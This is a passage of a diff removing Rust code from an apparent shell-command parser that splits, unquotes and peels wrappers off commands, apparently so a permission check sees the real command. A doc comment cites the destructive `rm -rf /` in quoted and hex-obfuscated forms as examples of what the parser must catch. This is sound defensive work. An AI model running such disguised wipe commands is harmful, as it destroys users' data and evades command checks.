- // `>&2`, `2>&1`, `&>file`: a redirection, not a separator. - let after_redirect = bare.ends_with('>') || bare.ends_with('<'); - if after_redirect || next == Some('>') { - raw.push(c); - bare.push(c); - i += 1; - } else { - flush(&mut raw, &mut bare, &mut opaque, &mut inner, out); - i += if next == Some('&') { 2 } else { 1 }; - } - } - _ => { - raw.push(c); - bare.push(c); - i += 1; - } - } - } - flush(&mut raw, &mut bare, &mut opaque, &mut inner, out); -} - -/// The body of the substitution that starts at `start` (`$(`, `(` or a -/// backtick), and the index just past its end. Unterminated: the rest. -/// `ansi_c`: whether `$'…'` is read as bash reads it ([`split_into`]). -fn substitution(chars: &[char], start: usize, ansi_c: bool) -> (String, usize) { - if chars[start] == '`' { - let mut i = start + 1; - let mut body = String::new(); - while i < chars.len() && chars[i] != '`' { - if chars[i] == '\\' && i + 1 < chars.len() { - body.push(chars[i + 1]); - i += 2; - continue; - } - body.push(chars[i]); - i += 1; - } - return (body, (i + 1).min(chars.len())); - } - // `$(` or `(`: find the matching close, quote-aware. - let open = if chars[start] == '$' { - start + 1 - } else { - start - }; - let mut depth = 0usize; - let mut quote: Option = None; - let mut i = open; - while i < chars.len() { - let c = chars[i]; - match quote { - Some(q) => { - if c == '\\' && q == '"' { - i += 2; - continue; - } - if c == q { - quote = None; - } - } - None => match c { - '\\' => { - i += 2; - continue; - } - '$' if chars.get(i + 1) == Some(&'$') => { - i += 2; - continue; - } - '$' if ansi_c && chars.get(i + 1) == Some(&'\'') => { - i = crate::ansi_c::quoted(chars, i + 2).1; - continue; - } - '\'' | '"' => quote = Some(c), - '(' => depth += 1, - ')' => { - depth -= 1; - if depth == 0 { - let body: String = chars[open + 1..i].iter().collect(); - return (body, i + 1); - } - } - _ => {} - }, - } - i += 1; - } - let body: String = chars[(open + 1).min(chars.len())..].iter().collect(); - (body, chars.len()) -} - -/// Redirections that only point output at the terminal's other stream or at -/// nothing: harmless, and too common to make every command opaque. -fn benign_redirections() -> &'static regex::Regex { - static RE: std::sync::OnceLock = std::sync::OnceLock::new(); - RE.get_or_init(|| { - regex::Regex::new(r"(?:\d*>>?|&>>?)\s*/dev/null\b|\d*>&\s*\d+|\d*<&\s*\d+") - .expect("static regex") - }) -} - -fn finish_segment(raw: &str, bare: &str, opaque: bool, out: &mut Vec, depth: usize) { - // A subshell or a group's brackets, and a leading `!`, do not change - // which command runs. - let mut text = collapse_whitespace(raw); - loop { - let before = text.len(); - for open in ["(", "{ ", "! "] { - if let Some(rest) = text.strip_prefix(open) { - text = rest.trim_start().to_string(); - } - } - // Only a close with no open of its own in this part: `$(c)` keeps - // its bracket, the end of `(a; b)` loses it. - for (open, close) in [('(', ")"), ('{', " }"), ('{', "}")] { - let unbalanced = text.matches(close.trim()).count() > text.matches(open).count(); - if unbalanced { - if let Some(rest) = text.strip_suffix(close) { - text = rest.trim_end().to_string(); - } - } - } - if text.len() == before { - break; - } - } - // Shell keywords that introduce the command after them. - for keyword in ["then ", "do ", "else ", "elif ", "if ", "while ", "until "] { - if let Some(rest) = text.strip_prefix(keyword) { - text = rest.trim_start().to_string(); - } - } - if text.is_empty() || matches!(text.as_str(), "fi" | "done" | "esac" | "then" | "do") { - return; - } - let cleaned = benign_redirections().replace_all(bare, ""); - let redirects = cleaned.contains('>') || cleaned.contains('<'); - let (peeled, hands_to_shell) = peel(&text); - let mut segment = Segment { - text: text.clone(), - peeled, - opaque: opaque || redirects || hands_to_shell.is_some(), - }; - segment.peeled.dedup(); - out.push(segment); - if let Some(script) = hands_to_shell { - split_into(&script, out, depth + 1); - } -} - -/// Split one simple command into words, quote-aware, with the quotes kept. -fn words(text: &str) -> Vec { - let mut words = Vec::new(); - let mut word = String::new(); - let mut quote: Option = None; - let chars: Vec = text.chars().collect(); - let mut i = 0; - while i < chars.len() { - let c = chars[i]; - i += 1; - match quote { - Some(q) => { - word.push(c); - if c == '\\' && q == '"' { - if let Some(&n) = chars.get(i) { - word.push(n); - i += 1; - } - } else if c == q { - quote = None; - } - } - None => match c { - ' ' | '\t' => { - if !word.is_empty() { - words.push(std::mem::take(&mut word)); - } - } - '$' if chars.get(i) == Some(&'$') => { - word.push_str("$$"); - i += 1; - } - // `$'…'`, kept as written, to where bash ends it. - '$' if chars.get(i) == Some(&'\'') => { - let (_, end) = crate::ansi_c::quoted(&chars, i + 1); - word.extend(&chars[i - 1..end]); - i = end; - } - '\'' | '"' => { - quote = Some(c); - word.push(c); - } - '\\' => { - word.push(c); - if let Some(&n) = chars.get(i) { - word.push(n); - i += 1; - } - } - _ => word.push(c), - }, - } - } - if !word.is_empty() { - words.push(word); - } - words -} - -/// A word with its outer quotes and backslashes removed, and a `$'…'` in it -/// decoded (`crate::ansi_c`): `$'\x72m'` is `rm`. -fn unquote(word: &str) -> String { - let mut out = String::new(); - let mut quote: Option = None; - let chars: Vec = word.chars().collect(); - let mut i = 0; - while i < chars.len() { - let c = chars[i]; - let next = chars.get(i + 1).copied(); - i += 1; - match (quote, c) { - (None, '$') if next == Some('$') => { - out.push_str("$$"); - i += 1; - } - (None, '$') if next == Some('\'') => { - let (text, end) = crate::ansi_c::quoted(&chars, i + 1); - out.push_str(&text); - i = end; - } - // `$"…"` is `"…"`. - (None, '$') if next == Some('"') => {} - (None, '\'' | '"') => quote = Some(c), - (Some(q), _) if c == q => quote = None, - (None | Some('"'), '\\') => { - if let Some(n) = next { - out.push(n); - i += 1; - } - } - _ => out.push(c), - } - } - out -} - -fn is_assignment(word: &str) -> bool { - let Some(eq) = word.find('=') else { - return false; - }; - let name = &word[..eq]; - !name.is_empty() - && name.chars().all(|c| c.is_ascii_alphanumeric() || c == '_') - && !name.starts_with(|c: char| c.is_ascii_digit()) -} - -/// Commands that run the rest of their arguments as a command, and how many -/// leading non-flag arguments of their own to skip first. -fn wrapper(word: &str) -> Option { - let name = word.rsplit('/').next().unwrap_or(word); - match name { - "sudo" | "doas" | "env" | "nohup" | "time" | "command" | "builtin" | "exec" | "nice" - | "ionice" | "xargs" | "stdbuf" | "setsid" | "chroot" | "unbuffer" | "caffeinate" => { - Some(usize::from(name == "chroot")) - } - "timeout" => Some(1), - _ => None, - } -} - -/// Flags of `sudo` that take a value as the next word. -fn flag_takes_value(wrapper: &str, flag: &str) -> bool { - matches!( - (wrapper, flag), - ( - "sudo", - "-u" | "-g" | "-C" | "-h" | "-p" | "-U" | "-r" | "-t" - ) | ("doas", "-u" | "-C") - | ("nice", "-n") - | ("timeout", "-s" | "-k" | "--signal" | "--kill-after") - | ("xargs", "-I" | "-n" | "-P" | "-L" | "-d" | "-E" | "-s") - | ("env", "-u" | "-C" | "-S") - | ("stdbuf", "-i" | "-o" | "-e") - ) -} - -/// `text`, then `text` with each leading assignment and wrapper peeled off in -/// turn — each form also unquoted, since `'rm' -rf /` and `$'\x72m' -rf /` run -/// `rm` — and the script, when the command hands one to a shell. -fn peel(text: &str) -> (Vec, Option) { - let all = words(text); - let plain: Vec = all.iter().map(|w| unquote(w)).collect(); - let mut forms = vec![all.join(" "), plain.join(" ")]; - let mut at = 0; - while at < all.len() { - let word = &all[at]; - if is_assignment(word) { - at += 1; - } else if let Some(skip) = wrapper(&unquote(word)) { - let name = unquote(word); - let name = name.rsplit('/').next().unwrap_or(&name).to_string(); - at += 1; - while at < all.len() && (all[at].starts_with('-') || is_assignment(&all[at])) { - let flag = all[at].clone(); - at += 1; - if flag_takes_value(&name, &flag) { - at += 1; - } - } - at += skip; - } else { - break; - } - if at < all.len() { - forms.push(all[at..].join(" ")); - forms.push(plain[at..].join(" ")); - } - } - // `sh -c '